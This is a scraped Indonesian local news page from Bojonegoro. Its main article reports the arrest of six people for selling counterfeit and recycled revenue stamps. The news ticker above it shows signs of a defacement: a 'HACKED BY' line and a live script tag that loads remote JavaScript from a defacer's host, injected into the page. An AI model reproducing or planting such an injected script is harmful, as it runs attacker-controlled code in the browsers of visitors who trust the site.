News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Polres Bojonegoro Tangkap 6 Orang Pelaku Pengedar Meterai Palsu

Polres Bojonegoro Tangkap 6 Orang Pelaku Pengedar Meterai Palsu

Bojonegoro - Jajaran Kepolisian Resort (Polres) Bojonegoro berhasil mengamankan 6 orang pelaku tindak pidana pengedar atau penjual meterai tempel yang diduga palsu dan meterai bekas pakai (recovery), berikut barang bukti meterai yang diduga palsu atau bekas pakai dengan total jumlah keseluruhan sebanyak 59.049 keping.
 
 
Sementara, para pelaku tersebut menjual meteri yang diduga palsu atau bekas pakai tersebut kepada beberapa panitia PTSL yang membutuhkan materai, untuk kelengkapan berkas pemohon PTSL.
 
Hal tersebut disampaikan Kapolres Bojonegoro AKBP M Budi Hendrawan SIK MH, didampingi Wakapolres Bojonegoro, Kompol Rendy Surya Aditama SH SIK MH; Kasat Reskrim AKP Iwan Hari Poerwanto, dan Kasubbag Humas, AKP Sri Ismawati, saat menggelar konferensi pers di hadapan sejumlah awak media, Rabu (15/07/2020), di Mapolres Bojonegoro.
 
 
 
 
 
Menurur Kapolres, keenam tersangka tersebut yaitu: 1). MA (31) warga Desa Kedungrejo Kecamatan Dander Kabupaten Bojonegoro; 2). MAD (44) warga Desa Pasinan Kecamatan Baureno Kabupaten Bojonegoro; 3). ES (48) warga Desa Karangdayu Kecamatan Baureno Kabupaten Bojonegoro; 4). MK (34) warga Desa Karangdayu Kecamatan Baureno Kabupaten Bojonegoro; 5). SBW (35), warga Desa Kadungrejo Kecamatan Baureno Kabupaten Bojonegoro; dan AR (35) warga kelurahan Gayamsari Kecamatan Gayamsari Kota Semarang
 
"Dari keenam tersangka tersebut, petugas berhasil mengamankan barang bukti menerai yang diduga palsu atau bekas pakai dengan total jumlah keseluruhan sebanyak 59.049 keping." kata Kapolres.
 
 
 
Adapun modus operandi para pelaku membeli materai 6.000 bekas di beberapa pengepul barang rosok dan pabrik daur ulang kertas yang selanjutnya didaur ulang di rumah pelaku dan selanjutnya menawarkan materai 6000 yang diduga palsu atau daur ulang di aplikasi online Shopee,
 
"Selain itu para pelaku juga bertransaksi jual beli meteri yang diduga palsu atau recovery tersebut kepada beberapa panitia PTSL yang membutuhkan materai, untuk kelengkapan berkas pemohon PTSL." kata Kapolres AKBP M Budi Hendrawan.
 
 
 
Sementara kronologi penangkapan bermula adanya laporan masyarakat yang diterima petugas bahwa adanya dugaan tindak pidana peredaran atau penjualan materai yang diduga palsu, sehingga petugas segera melakukan penyelidikan dan berhasil mengamankan 5 orang pelaku, yang mana kelima orang tersebut diduga yang telah menjual materai yang diduga palsu atau meterai daur ulang (recovery)
 
"Setelah dilakukan pengembangan penyelidikan terhadap 5 pelaku tersebut, akhirnya petugas berhasil melakukan penangkapan terhadap tersangka AR, selaku pembuat atau pemasok meteri yang diduga palsu tersebut, di Kota Semarang," kata kapolres.
 
 
 
Atas perbuatannya, para pelaku disangka telah melanggar Pasal 13 UU RI Nomor 13 tahun 1985 huruf B, dan atau pasal 253, 257, 260 KUHP.
 
"Para pelaku diancam dengan pidana penjara paling lama tujuh tahun," kata Kapolres.  (*/imm)
 
Berita Terkait
1783894024.4623 at start, 1783894025.9203 at end, 1.4580609798431 sec elapsed